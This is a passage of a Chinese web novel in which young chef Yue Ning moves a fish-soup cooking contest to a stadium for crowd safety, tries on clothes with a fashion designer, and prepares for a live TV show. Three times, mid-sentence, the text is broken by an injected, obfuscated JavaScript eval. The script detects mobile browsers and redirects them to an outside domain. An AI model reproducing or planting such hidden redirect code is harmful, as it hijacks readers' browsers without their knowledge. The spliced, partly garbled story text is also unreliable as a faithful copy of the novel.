阿伟看见李欣荣一家四口正在往里走他说：“荣哥来了。” 阿伟跑到李欣荣面前：“荣哥、霞姐。” 他弯腰捏李欣荣儿子的脸：“小阿明好。” 李欣荣的儿子名字里也有一个“明”字跟岳宝华的小徒弟阿明一样为了分清楚来酒楼就叫他小阿明。小阿明仰头：“伟叔好。” 小玉也说：“伟叔好。” “小玉越来越漂亮了。”阿伟跟李欣荣说“荣哥师傅和宁宁他们在厨房忙我去帮你叫。” 李欣荣听阿伟这么说他对阿霞说：“阿霞你带孩子们先进去坐一会儿我跟阿伟去厨房看看。” 李欣荣和阿伟并肩走：“昨天动静怎么那么大？” “荣哥你应该昨天中午就来的。亲眼看看宁宁怎么收拾那个没良心的王八蛋太解气了！” 阿伟兴奋地跟李欣荣描述昨天的场面。这么点路不过开了一个头到厨房门口李欣荣见大家包括他师傅都围着案台。 “师傅！荣哥来了！”阿伟喊了一声。 岳宝华转头：“阿伟跟你说过你荣哥来了进来跟我们说。” 李欣荣看见了一个高挑带着点英气的姑娘**比报纸和电视上看到的更漂亮。 “我听阿伟说师傅和宁宁在厨房我就直接过来了。”李欣荣走过来 “宁宁要做满汉全席里的灌汤大黄鱼。昨天那帮子少爷小姐来宁宁都没做。她说那帮留洋少爷小姐不懂这道菜的意义。”阿松兴奋地说。 岳宁亲切地叫一声：“荣叔好。” 就凭他在宝华楼遭遇绝境的时候要辞职回来替爷爷撑起宝华楼在岳宁心里他就是自己的亲叔叔。 “好。”李欣荣笑着应了一声“灌汤大黄鱼？” “入选满汉全席的一道淮扬菜。”岳宁跟他介绍“每年十月金秋大闸蟹肥美之际以蟹粉蟹肉和八珍加高汤煨制连汤带料填入黄鱼腹中。寓意满腹乾坤。也是昨天招待我那帮哥 哥姐姐看见青蟹饱满蟹膏满壳动了这个心思想请荣叔品这道菜。” 李欣荣心里明白这是侄女要向他炫技了只要她真有本事那他也就放心了。 “我听说过没见过。今天可以长见识了。”他也过来站着。 “我正在说如何整鱼去骨。”岳宁再次拿起切吐司的锯齿刀传统应该是用竹片后来她发现锯齿刀也挺好她用锯齿刀比划黄鱼鱼骨长度“刚才我们说了先用刀量出鱼骨长度然后进刀。” 只见岳宁手持锯齿刀从鱼鳃进去两三下之后抽出整根黄鱼骨。 岳宁把黄鱼递给阿忠：“灌水试一下。” “肯定不漏水。华叔都说了你能做脆皮糯米鸡 “不许偷懒。谁都有失手的时候。哪怕你有信心测试也用不了多少时间可以剔除不必要的风险。愿意花钱吃这道菜的那些食客要求很高那么多料酿进去。蒸好之后品相不完美。客人有修养这次不说下次就不来了。影响酒楼口碑和你自己的口碑。”岳宁沉声说道。 “马上灌。”阿忠把水灌进去鱼肚子饱满起来果然滴水不漏。 “泡葱姜水里。”岳宁去把拆好的青蟹蟹肉蟹膏拿了过来“正宗的灌汤黄鱼有大闸蟹的时候加大闸蟹蟹粉没有的时候光花胶鲍鱼海参这些八珍也可以现在我们做灌汤的汤料。” “澳龙和青龙肉可不可以？”阿松问。 “你可以试试。”岳宁边炒汤料边说“要不咱们下次弄条徽派的臭鳜鱼酿臭豆腐？” “能吃吗？” “早说了粤菜无正宗有传统。好吃就行！没什么不可以。” 李 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“师傅说什么呢？”阿霞心里还是没底看向老公。 李欣荣笑着拉着老婆说：“走我们等着吃宁宁做的菜。” 岳宝华带他们上二楼今天他们用包房进包房桌上已经上了冷菜。 李欣荣看着摆盘精美如画的冷菜他师傅可不会这一手他问：“这是宁宁的手艺？” “是啊！” 李欣荣替师傅拉开了椅子等师傅坐下。 这是一家子团聚吃饭不讲究一道一道上岳宁和三位叔叔忙活好了索性把菜一起端了上来。 祖孙俩加上李欣荣一家师兄弟三人一起落座岳宝华开了一瓶从内地带回来的茅台师徒几人一起满上岳宁和小朋友们一起喝可乐。 岳宝华举杯：“幸好有你们！” “师傅说什么呢？”阿松转头看岳宁“幸好有宁宁。” “什么叫幸好有我？”岳宁说“是幸好我们有彼此。聚在一起不容易。对吧！” “对对！”岳宝华眼睛湿润“以后都好好的。” 大家一起碰杯喝了一口。 岳宁把灌汤黄鱼转到李欣荣面前刀递给李欣荣：“荣叔请！” 黄鱼肚子被划开满腹汤料流了出来醇香四溢。 李欣荣为师傅舀上一勺汤料夹上一块鱼肉 “看来我还是要回宝华楼要回来跟宁宁学一学手艺了。” 阿明兴致勃勃地掀开他的煲仔饭：“我已经跟宁宁学过了荣哥你试试这个煲仔饭是不是不一样了？” 岳宁给两个小朋友各夹了一个蛋黄鸡翅：“我们吃鸡翅。” 这些东西小朋友们最爱了。 “谢谢姐姐！” 小玉吃了一口叫：“哇！好好吃！妈妈快吃。” 大家一起舒心地吃着饭阿忠走进来：“宁宁电视台来电话了。” 岳宁去楼下接电话电视台的人打岳宝华办公室的电话没打通直接打宝华楼的订座电话问岳宁今晚有没有空让她上今晚的《卸下心防》。 这也太着急了吧？ 第46章 更改比试地点 岳宁跟电视台的人商定时间，这档节目是直播形式，两位主持人都是港城的名流，他们根本不会接受剧本安排，也不会给蔡家面子。这就很考验嘉宾的临场反应。 之前出现过好几位嘉宾翻车，被港城电视、电台、报纸杂志怒骂的情况。 栏目负责人免不得要跟岳宁多说几句，她是上这档节目年龄最小的一个嘉宾。不过岳宁可以打赌，两辈子加起来，没有哪个嘉宾比她的直播经验足。 上辈子她在一档直播中，编导未经她同意接了她父母的电话进来，她父母在节目里破口大骂，骂她不孝，还有脸立三观正的人设，说她发达了，家里没有靠上一点，自己却淡定地一点点剥皮。她不仅没塌房，反而让大家共情，她讥讽的表情甚至被做成了表情包。 “好的，好的，晚上八点，你们派车来接我。主持人什么问题都可以提。” 岳宁挂断电话，花姐从外边走进来，嘴里嘟嘟囔囔的，岳宁问：“花婶婶，谁惹你了？” “是丁胜强和张丽丽啦！不要脸，真是不要脸。昨晚两个人滚在地上打，现在又并排站在门口，像是一对好夫妻，在门口招揽客人了。人家夫妻打架是床头吵架床尾和，他们这是什么呀？” 岳宁走到外头，他们的烧腊摊早就卖空了，人流依然不见减少，比上辈子港城公众假日的时候，鹏城的那几家大卖场的客流还要恐怖。 “没有吃到宝华楼烧鸭的，也可以来我们这里，我们的烧鸭跟宝华楼的烧鸭一样好味。” 这是自己昨天用大喇叭跟张丽丽喊的话，张丽丽这是学会了，也不管脸上的青青紫紫，扯着嗓子喊。 有人问：“我想吃宝华楼岳宁的玻璃脆皮烧鸭，你们有吗？” “暂时没有，不过相信以后会有。”丁胜强信心满满地说。 “以后会有？你已经不是宝华楼的厨子了，从哪里来？不会是去偷方子吧？” 报纸电视上早就把宝华楼和胜华楼之间的恩怨掰扯得清清楚楚。 丁胜强见岳宁正往这里看，他索性说：“这话是宁宁昨天自己说的，她说要教大家做拆鱼羹，说要教学相长，肯定也不会对玻璃脆皮烧鸭的方子保密。” 脸上几道红色抓痕的丁胜强往岳宁这里走来，到她面前，笑着问：“宁宁，你说过的，教学相长。所以不会保密，会教我，然后我们再一起比玻璃脆皮烧鸭。对吗？” “你脸不要也就算了，有没有知识产权概念？你怎么不让可口可乐公布配方？我愿意教，我愿意公布，那是我的事。你跟我说这个算什么？”岳宁嗤笑一声。 丁胜强站直了：“所以你是嘴上说得好听喽？” “一个富豪，说要回馈社会，他捐了一千万，这个时候你说他既然捐了一千万，为什么不把所有的财产都捐了？你认为合理吗？” 丁胜强满不在乎地说：“不想公开，就不想公开。我无所谓。” “别人的东西，你还想有所谓？”围观的人都受不了这个逻辑了。 “人家拜师学艺，那是要把师傅当亲爹一样孝敬的。你啃你师傅的肉，喝你师傅的血还不够，还要连他的老骨头都榨油。” “这种人，拿不到就会去偷。” “……” 生意虽好，被人当面说，也不舒服，丁胜强转身要走，岳宁说：“跟你商量个事。” “什么？” “明天早上的拆鱼羹比试，我觉得不能放在这条街上了。人太多了，这条街道太小，而且搭临时灶台，有明火。如果发**，还可能挤坍灶台。”她往两边看，“两边，甚至边上的街区都是唐楼，怕会酿成大祸。” 丁胜强看着她，不知道在想什么，最后大笑出声：“是荣哥来了，跟你说了我的本事吧？现在知道怕了？找了个担心火灾踩踏这种吓唬人的理由。如果真没胆量比，那就别比了。” 反正他从头到尾，就一直被人骂，不像他师傅和眼前这个小丫头，要脸面，他只要客流，只要钱。不管怎么样，他就是不能让她把这个比试取消了。 “不是，我的意思是，换个时间和地点，做好安保，再来比。你要是坚持在这里，那我就直接认输。我不能拿大家的安全来履行我和你的赌约。如果你答应换地方，我去联系找地方，找专业团队接手，怎么样？”岳宁说道。 “好啊！我无所谓。”他要的就是这个小丫头当前带来的客流，只要不取消，怎么都可以。 “好！” 岳宁转身回宝华楼，跑步上楼去找电话本，翻出电话号码，到岳宝华的办公室打电话给蔡致远。 岳宝华见孙女迟迟没回来，便下来看，又见她跑得飞快，进了他的办公室，他担心地跟了进来。 蔡致远的声音响起，岳宁叫一声：“致远哥，事情是这样的……” 她叙述了一下自己的担心 ：“哥，我真的怕，现在这个热度，一旦踩踏或者火灾，后果不堪设想。我刚刚来港城就成了罪人。” 电话那头蔡致远安慰她：“不着急，不着急，我马上找制作人，给我一个小时，我们组织大牌歌星开演唱会的，你担心什么？你把心放在肚子里。哥哥一定让你准时、安全地比试，打铁要趁热，哥哥也舍不得你的热度。要是哥哥搞不定，哥哥……” 听他这么自信，岳宁笑出声：“哥哥给我表演倒立洗头。” “有你这么为难哥哥的吗？” “反正也不会发生嘛，哥哥肯定能行。结束了，我四十五度仰望哥哥，哥哥最厉害。” 在岳宁的马屁声里，蔡致远挂了电话，看着坐在他办公室里的乔君贤：“我家宁宁妹妹说，要四十五度仰望我。” 乔君贤白了他一眼，不想说话。 蔡致远按下电话：“帮我接苏小姐。” 他挂了电话，看向乔君贤：“你说这个小丫头，哪里来的经验，让她可以想到会发生事故？这种安全事故，通常都是事前猪一样，事后诸葛亮。” “我说了，她很聪明，考虑问题很仔细。” 一位穿着套装的丽人敲门：“蔡先生找我？” “索菲，宝华楼明天会和胜华楼举行拆鱼羹比试，本来是一条街上的两家酒楼之间的比试。你也看到了现在宝华楼岳宁的热度，岳宁担心明天的比试会引来人群，出现**故，也有可能引起火灾。所以希望我们电视台承接这个活动。你去联系一下。” “明天吗？时间会不会太紧？”这位女士对太子爷想一出是一出，有些烦恼。 “搞不定吗？如果搞不定，那你说要什么时候？”蔡致远说是这么说，眼神里却是充满了挑衅。 苏小姐与他对视，过了一小会儿：“资金预算呢？又不卖门票，没有收入，怎么做？” 乔君贤说：“先做下去，亏空我这里会……” 电话铃声响了起来，蔡致远接电话，电话那头是崔慧仪，他说：“OK，那就这样了。” 蔡致远笑了一声：“圆仔面冠名，立德食品出五十万港币。可以了吗？布景什么的，都比较简单，应该没有太多额外支出。” “OK，我立刻去安排，敲定之后向你汇报。”苏小姐说。 蔡致远目送他的得力干将出门，他眯起眼看乔君贤：“你说这小丫头怎么这么熟悉商业运作，她挂了 我的电话，立刻去找崔慧仪了。 “不知道，反正好像是天生的。乔君贤叹了口气，“我就不知道，她…… “你啊！就是没有恋爱经验，才会这样患得患失。蔡致远勾住乔君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915403|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贤的肩，“以前叫你多交往几个女孩子，跟普通女孩子相处多了，有了经验，跟这样心思复杂的女孩子相处，也就容易了。 乔君贤侧头看他：“宁宁是个心思很单纯的女孩子，她正直善良，愿意帮助别人。一点都不复杂。 蔡致远看着表弟，这小子已经没得救了，刚刚他还抱怨岳宁心思他猜不到，自己不就是顺着他的话说了一句？他就说人家心思单纯了。 以自己从跟岳宁通电话算起，这是个小姑娘吗？除了声音好听，长得年轻漂亮，那心思不就是商场上的老狐狸。 “行了，滚去干自己的事。就凭她来港城才二十四小时，已经蹿红到这个程度。人家没几年可以跟你爸坐一起喝茶，指点你做生意了。那时候，你恐怕连她的春梦都不敢做了。蔡致远挥手让表弟快走。 乔君贤心头一堵，站起来说：“我走了。 蔡致远看着表弟出了他的办公室，拿出一支雪茄，想不明白，乔君贤一个从小到大，就是按照妈妈们心中乖乖仔模版长大的孩子，怎么会喜欢岳宁这种？ 岳宁是哪种？一时间蔡致远却不好定义。说她是野丫头吧？跟她接触下来，人家的底蕴比他可强多了。可也没办法把她跟大家闺秀联系起来吧？ 电话铃声响起，蔡致远去接电话，苏菲这么快的速度已经把事情落实了。这种才是职场中最精英的女性。 他打电话到宝华楼，岳宁秒接。 岳宁刚刚接到电视台打来的电话，跟她说地方已经找好了，就放在离他们酒楼不远的一家体育馆，对方跟她强调了安保方面有专门的公司会处理，胜华楼听说有电视直播，答应得飞快。 现在蔡致远打电话过来，她又讨好地叫了两声“哥哥。 蔡致远在电话那头说：“今天晚上的《卸下心防》没创收视新高，别来见我。 “切！事情解决，岳宁腰杆子又硬了，“我不见你就不见你，只要你忍得住不来宝华楼吃饭。 蔡致远骂了她一句：“小没良心。 “是啊！小没良心要跟慧仪姐姐出去了。哥哥，拜拜！ “拜拜！ 岳宁挂了电话，回房间 洗了个澡，洗掉身上的油烟味。 上身是一件天青色的杭罗对襟小衫，下面一条白色双宫皱长裤。 内地皮鞋款式简单，还略显得笨重，但是在粤城友谊商店，按照东南亚风格制作的这一双湖绿色缎面，绣着祥云纹样的绣花拖鞋，简直就是艺术品。 岳宁看着空空的手腕，有点遗憾。要是她上辈子那挂翡翠珠子在就好了，无论是戴在脖子里还是戴在手上，那个味道就出来了。 岳宁拿了手提包，下楼去，跟爷爷和荣叔打个招呼。 李欣荣看见岳宁微微愣了一下，澳城□□业在全球都有名，他见多了那些一夜豪赌，输赢千万的豪客。换下厨师服的宁宁，居然有那种客人的气势。 “爷爷，荣叔，我跟朋友约了，去剪个头发。你们慢慢聊！” 岳宝华看见孩子穿得好看，自己跟花姐一起给孩子布置的粉色房间就俗气了。孩子身上都没有年轻女孩子的那些珠宝，还有手里的这个包，也太老式了。今天又是去赵家小姐那里，那是出名的时装设计师。 “爷爷老眼光了，不知道什么好看。你让赵小姐和崔小姐给点建议，多买些衣服、包啊！再买几件首饰。”岳宝华跟她说。 “知道了。”她一来，爷爷这是生怕她不敢花钱，塞了她一张十万限额的信用卡。 岳宁下楼，出门听对过张丽丽已经在大喇叭里喊：“明天上午八点，我们丁胜强大师傅会在港城大球场，和宝华楼岳小姐比试拆鱼羹。欢迎大家光临观看。” 这样就放心了。岳宁轻轻呼出一口气，浑身轻松。 第47章 玫粉色的裙子 崔慧仪接了岳宁到赵熙如的公司。 赵熙如的公司在中环黄金地段的一栋大厦里，电梯出来的门厅正对着前台，前台的妹子看见崔慧仪就说：“崔小姐，赵小姐在办公室。” 踏进办公室，职员们在格子间里接电话，忙碌着。除了桌上没有电脑，这里跟岳宁上辈子印象中的办公室没什么不同。 还没到赵熙如的办公室门口，岳宁就听见一个如同炸毛的猫的声音：“你们另请高明，我不赞助，也不指导了。动不动就性感，要放得开，人体美学。还不是为了满足你们这群老色狼看女明星胸的猥琐内心？柳吉莲才十八岁。这段详细的野外苟合戏，你就不能隐晦地拍吗？还非要华美的薄纱戏服？对对对，我不是导演，我不懂，你们找懂的去做。我不会你所谓的媚而不俗，色而不淫。在我看来这个桥段本身就低俗又恶心。” 赵熙如砰地一声挂断了电话，崔慧仪笑着走进去：“谁惹了我们熙如小姐？” 赵熙如深呼吸，安定着情绪，突然她看见岳宁，像是猫见了耗子般两眼放光，一步冲了过来：“天哪！我一定要让黄玉翔那个老色鬼来看看，自己不会拍片，就承认一下，不要把电影不卖座，推给美女穿衣服太多。” 岳宁被看得莫名其妙，赵熙如说：“这个面料太美了，太华贵了。” 这一点岳宁承认，这可是杭罗，是手工艺人用木机织的杭罗，放在她上辈子，可以说有价无市。 这个年代，内地老手艺的价值并不能体现，这件小衫，面料才三十多。在内地劳动人民眼里，这种娇气难伺候的真丝料跟几块钱一块的的确良面料能比吗？ 她说：“这是杭罗，杭罗是跟苏缎、云锦并称的东南三宝，这些年把木织机说成是落后陈腐的生产方式，几乎都淘汰了，在市面上已经近乎绝迹了，我也是在粤城的友谊商厦看到了这块面料，立刻买了下来。” “这衣服做得也好，款式很简单，却很有味道，而且手工比咱们港城那些给富家太太做旗袍的老师傅不差。”赵熙如仔细看过岳宁的上装，又低头看岳宁的裤子和脚上的一双绣花拖鞋，“这双拖鞋手工很精细，不是咱们港城的花鞋。” “都是粤城友谊商厦的。鞋子是买现成的，我就是看绣花好精细哦！听介绍好像是东南亚的款式。”岳宁笑着说。 “嗯，泰国、印尼和马来西亚都穿类似的拖鞋， 我们港城也有。”赵熙如退后一步，在看岳宁整体，“昨晚那件灰色的也很好看，你穿上超有气质。但是，不得不说今天这件，更让我心醉。” “那块是桑波缎，就一块零料了，因为只能做小朋友的衣服，但是颜色又冷门，没人要，我看着喜欢就买了下来，所以就做了一件无袖款的小衫。你敢信吗？那块料子才十二块钱。”买到便宜又心仪东西，岳宁忍不住分享。 赵熙如愣了：“这么便宜？” “我还做了一件靛青地祥云纹通梭锦缎的外套，一件白地缠枝莲妆花缎的马甲。一件马甲连工带料就五十多，外套六十多。” 赵熙如一惊一乍起来：“我前两天陪我妈咪一起去祥扯面料做旗袍，就挑了一幅普通的织锦缎面料，三千多，加上手工费，五千多。” 那岳宁不得不炫耀了：“我扯百不到的衣料，做了十几件。当然我做的款式比较简单，大多没有旗袍那么多的手工活，给了那对老裁缝夫妇一百块的工费，老夫妻俩开心得要命。毕竟夫妻俩一个月的工资也就八十多。” “不行，我得去粤城一趟。” “去啊！去啊！我们一起，我带你去找面料，还有找那对老裁缝夫妇。他们手工活很好的。”岳宁兴奋地说，“你去了粤城，肯定还会想去杭州、苏州和北京。” 来的路上崔慧仪就跟岳宁介绍了赵家的背景。 赵家和崔慧仪的外祖父家一样，都是战争年代搬了部分产业来港，和立德一样落脚在筲箕湾，开了纱厂和纺织厂。 随着五六十年代港城人口涌入，赵家抓住机会，开了服装厂，承接海外大公司的订单，如今已经是海外多个大牌的代工厂。 赵熙如从小耳濡目染，而且喜欢绘画，去了意大利和法国留学之后，回来就开了这么一家公司，除了经营自己的品牌之外，还拿了两个海外的牌子在港城和东南亚的销售权。 赵家就是做服装和面料的，赵熙如又是这方面的行家，如果他们能跟内地合作，那兴许能帮助像杭罗那样只剩下几台织机的手工艺早点复活。 另外，岳宁为了拿衣服，她去过阿邦家里，知道了什么叫竹筒楼。竹筒楼门面很窄，里面通道阴暗，小小的空间里挤着六七家人家。阿邦家里，父母睡床上，兄弟俩睡地下，就算卷起了铺盖，也无法多容下一个人了。如果介绍了阿邦叔的爸妈给赵熙如，兴许也能给他们 多一条路。 “就凭你身上这件小衫的面料都值得我走一圈。”赵熙如更是兴致高昂。 “好了好了！带宁宁剪头发去。她剪头发我们和她聊。”崔慧仪提醒她们。 赵熙如点头：“走我们过去。” 赵熙如出名是因为给刘家耀的一场演唱会提供了造型指导。 她出名了就在这栋大厦里开了一个美容美发加健美的中心从头到脚一站式全包。 而且大厦底楼就是百货公司她的品牌毕竟不是什么奢华品牌有需要的时候她也可以陪同客人去楼下百货公司挑选。 在寸土寸金的中环为了保证贵客不被打扰给她剪个头就安排了这么一个单间一个洗头妹一个托尼老师。 岳宁按照自己上辈子的喜好跟这个托尼老师沟通崔慧仪和赵熙如坐在沙发上喝着咖啡。 “那个黄玉祥怎么惹你了？”崔慧仪问赵熙如。 岳宁从镜子里见赵熙如白眼都快翻到天上去了赵熙如说：“他说要拍一部唐明皇和杨玉环的连续剧是一部有态度的电视剧。就找了我做造型指导。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别想套我话，这个答案今晚揭示。我跟致远哥说好的，要保证今晚收视率第一。岳宁摆手，“我为了收视率，可是不遗余力的。 赵熙如一把搂住她：“宝贝，帮姐姐打个广告？ “什么广告？岳宁问。 “你今晚穿我的衣服上节目，好不好？赵熙如问。 “一起去看看呀！岳宁没有一口答应，每个人都有自己的形象管理，虽然她认为赵熙如不会离谱。 赵熙如拉着她说：“走呀！ 赵熙如带着她到了他们服装陈列间，从海报和模特身上的衣服看，色彩都很鲜亮俏丽，可以看出赵熙如的这个品牌是走年轻时尚的路线。 “宁宁，杭罗小衫不要换了，下面搭这条裙子？赵熙如说。 岳宁看过去，一条玫粉色高腰伞裙…… 第48章 红配绿 雨过天青色说到底就是绿。常言说：红配绿赛狗屁，而且还是很艳丽的玫粉色。 这可怎么穿？岳宁被赵熙如推了进去，硬着头皮换上了这条裙子。 看着镜子里的自己，居然……怪……怪好看的。 她不需要跟上辈子的父母和解，但是她可以跟粉色和解。爸爸、莫伯伯和爷爷都希望她穿粉色的裙子。 她走了出去，赵熙如手里拿着一双孔雀蓝反绒皮粗高跟鞋，她放下高跟鞋，拍手说道：“这才是我想要的效果。” 赵熙如敲着脑袋，好似在想什么，接着去拿了一个同色的手提包：“鞋子和包，搭配起来给我看看。” 那就换吧！岳宁换上鞋子，手上提了小包，问：“怎么样？” 高腰的长裙越发让岳宁显得修长，天青色淡雅清冷，玫粉色却是浓烈饱和，反差感太强了。 赵熙如都佩服自己，为什么能想出这么天才的搭配。 “我觉得你够高挑，这双绣花鞋也很不错。”赵熙如看着那双精美的绣花鞋说，“怎么办？我很难取舍了。” “我觉得这双高跟鞋更好，颜色也深，压得住裙子的颜色，也更加正式一些。毕竟他们都穿西装戴领带，绣花拖鞋配白色长裤或者牛仔裤日常穿比较合适。”岳宁说着自己的想法。 赵熙如说：“听你的。” 爷爷让她买衣服，要是赵熙如这里买的，估计姐姐直接就送她了。再说今天晚上要直播，明天还要比拆鱼羹，这个时候自己逛街心也太大了。 岳宁拿了衣服，让崔慧仪送她回家。 崔慧仪也知道她这几天忙，纵然想要跟她沟通昨天那个豉油鸡味捞面，也不想在这个时候让她分心。 她说：“等宝华楼重开了，你有空了，我们再聊？” “好呀！等这事过了，我就去你那里试方子，改面饼。” 上辈子茶餐厅的经典豉油皇炒面，就是可选竹升面和泡面，调味其实很简单，可炒可拌，很容易推开。 岳宁回到宝华楼，荣叔夫妇放心了，也就不在港城过夜，已经带着孩子赶回澳城。 电视台派了工作组过来沟通，带队的是一位说话速度很快、雷厉风行、很有御姐范儿的女士。 她看起来承办过多次大型活动，即便是接到这样紧急项目，依旧很有条理，甚至还邀请了本港的几位美食家。他们中有爱美食的才子，有港城高档粤菜餐厅的主厨，更 有带着全港师奶做菜的乐梅姐。观众评委则是每个观众入场抽取奖券抽中的登记进入观众评委坐席没抽中的按照领取奖券上的位子入座…… 有专业人士来处理宝华楼需要做的就是按照计划明天七点左右炉灶人员到位。比赛更改时间和地点已经通过电视和电台发送出去。 自己对蔡致远的四十五度仰望是必须的。 想留苏小姐吃晚饭苏小姐立刻拒绝。这个项目太紧急许多细节还要落实她还要连夜监督布景搭建。 岳宁偶然听见电视台工作人员背后说一句：“太子爷一句话 “那也是她愿意外头大把的机会不去。被蔡致远这么压榨图什么呢？” 于己来说岳宁感激苏小姐的努力没有她自己无法兑现准时比试的承诺。然站在苏小姐的立场……自己只是听到只字片语也无法发表意见。要是为了蔡致远那根烂黄瓜未免太不值。 她送了苏小姐到街口返回的时候正在开晚市烧腊档的阿伟叔跟她两手一摊十来分钟平时宝华楼可以卖一个晚市的烧腊已经全空了。 “进去吃晚饭吃过晚饭我们俩一起调脆皮水和烧肉的料汁。”岳宁跟阿伟说。 “你刚刚跟丁胜强不是说方子不公开吗？”阿伟刚才从别人的嘴里听见这些话心情还有些低落。将心比心又觉得宁宁说得也没错独门秘方为什么要告诉他们？ “丁胜强是背后捅刀的徒弟你们是在最困难的时刻都没有离开我爷爷的徒弟能一样吗？” 阿伟问：“你不怕方子泄露吗？” “可什么都我自己干？现在只有一个宝华楼等以后开了分号甚至不止一家分号我又分不出几个人来。那怎么办？”岳宁答非所问。 画饼是老板必须掌握的技巧画的饼要让下属相信会实现又要让他相信这个饼跟他高度相关又不能太直白。 阿伟从来没想过宝华楼会开分号他是一个没有多大志向的人来得也晚不像荣哥他们几个跟着师傅从小店铺做起。 宝华楼生意已经大了师傅落在他们身上的精力有限哪块做得好就重点做哪块。他做烧腊强一些阿明做煲仔饭强一些也是这个缘故。 师傅也不亏待他们有工钱有花红在这里做一辈子也不错直到丁胜强在对过开了胜华楼步步紧逼把师傅当 成杀父仇人似得整。他也曾慌过又想着大不了找荣哥让荣哥介绍个做烧腊档口的活就好了。 宁宁说会开分号她的意思是？阿伟说：“放心吧！我也会管好其他几个小子不让他们跟对过多接触。” “放心吧！明天过后就算把方子给了他们也没用了。” 看着岳宁信心满满阿伟说：“让他知道宝华楼才是拆鱼羹正宗。” 岳宁不置可否他们进去简单地吃了两口岳宁教完阿伟回房间换了裙子还有半个多小时总算有时间可以跟爷爷喝口茶了。 岳宝华正在喝茶看见孙女穿着一条深粉色的裙子昨天他看见宁宁的衣服或是素雅或是华丽就是没一件粉色的。他还担心孙女其实不喜欢他和花姐布置的房间。 现在看她穿这条裙子他微微松了一口气。 “爷爷好看吗？”岳宁转了一个圈“我以前都没有穿过粉色的裙子爸爸和莫伯伯都希望我穿可在西北只有那几样颜色而且我皮肤还黑以为穿粉色会显得皮肤更黑。熙如姐姐让我试了哇！我觉得超好看。” “好看很好看。”岳宝华由衷地说。 岳宁坐在岳宝华身边靠着他：“爷爷那我下次回粤城就能去买粉色的锦缎面料了粉色的锦缎特别多也特别漂亮之前我没敢买现在觉得错过了呢？” 岳宝华满心地欢喜：“都买都买。” 一阵敲门声传来岳宁跑去开门。 阿杰两手提着资料：“要出门吗？” 他问出这个问题才惊觉自己问得有些多余连忙说：“对了要去参加节目。” “对啊！”岳宁说。 “中午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915405|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我看见你忙就没来打扰你。下午我有课回来你这里又有人在。现在可以吗？”阿杰问。 “好啊！好啊！” 阿杰生怕岳宁一下子搞不清把资料拿出来一本一本地给她讲解。 岳宁去前台拿了纸笔根据阿杰说的快速给每一本资料写上摘要。 “对这几个类型是重点……” 岳宁请阿杰进来的时候想着电视台的人马上要就没关门。这会儿两人讨论得投入她没注意到乔君贤进来。 “君贤少爷你怎么来了？” 岳宝华的声音提醒了岳宁岳宁回头看。 阿杰见有人来了他说：“这些够你看一阵了 给我妈，约个时间，我再帮你看。” “好的。谢谢了！” 阿杰跟岳宝华打了个招呼：“华叔，我走了。” “好。” 出门前他还跟乔君贤点了点头。 乔君贤见得不够大，把门拉大了一些，让他走得顺畅些。 岳宁走到门口目送阿杰走远，问乔君贤：“你担心什么呀？不是跟你说过了吗？承认喜欢，往偶像的喜欢上讲……” “我代表HTV来接你。”乔君贤用陈述句，“表哥派我来接你。” 岳宁没好气：“这位哥哥是嫌事情闹得还不够大，还要再大一点？你见哪个偶像会亲自去接粉丝的？” “我小姨夫，是你莫伯伯，算得上是你半个养父吧？你在港城，出了跟我相关的事，这能是纯粹的偶像和粉丝关系吗？”乔君贤问。 对，她无言以对，岳宁拿起包说：“走吧！” 乔君贤看着她，“直播间冷气很足，你这么穿会冷，去加一件外套。” 好吧！岳宁把桌上的资料收拾进袋子，乔君贤要帮她提，岳宁说：“我难道这点还提不动？” 乔君贤收了手，他可不敢跟她比力气。 岳宁一手一个袋子，提着资料上楼，进了房门，打开衣柜。本来就已经红配绿了，金黄色龙凤团花外套肯定不行，红色的宝相花，这个红和玫红不是一个调调。只有这件靛青色祥云纹锦缎外套和天青色小衫、鞋子皮包，色调上都属于青绿蓝色系，只是深浅不同。 岳宁套上外套，扣子还是不扣了，扣上的话，没有在扣子上配一个和田羊脂玉的压襟，多少有点不完美。 岳宁下楼来，到乔君贤身边：“这样可以了吧？” 乔君贤心跳漏了一拍。第一次见她，她穿着蓝色土布的斜襟衫，扎着两条辫子，他就觉得她像是一颗明珠包在油纸包里；在西北的百货公司，她换了一件蓝色衬衫，简单的款式，粗糙的棉布，被她穿出了港城姑娘的时髦感；今天她是另一种蓝色的搭配，这件外套丝辉流动，华美异常，好像让她回到了本来的样子。 乔君贤脑子里浮现出表哥说的画面：岳宁跟他爷爷、他爸喝着茶，他得站在他们面前，听他们指点他做生意，乔君贤头有点大。 “爷爷，我们走了。”岳宁拿出钥匙说，“您别给我等门了，我带钥匙了。” 岳宝华送她出去：“知道了。” 看着孩子和乔君贤出去，岳宝华笑，知道归知道，他怎么可能不等？ 第49章 卸下心防 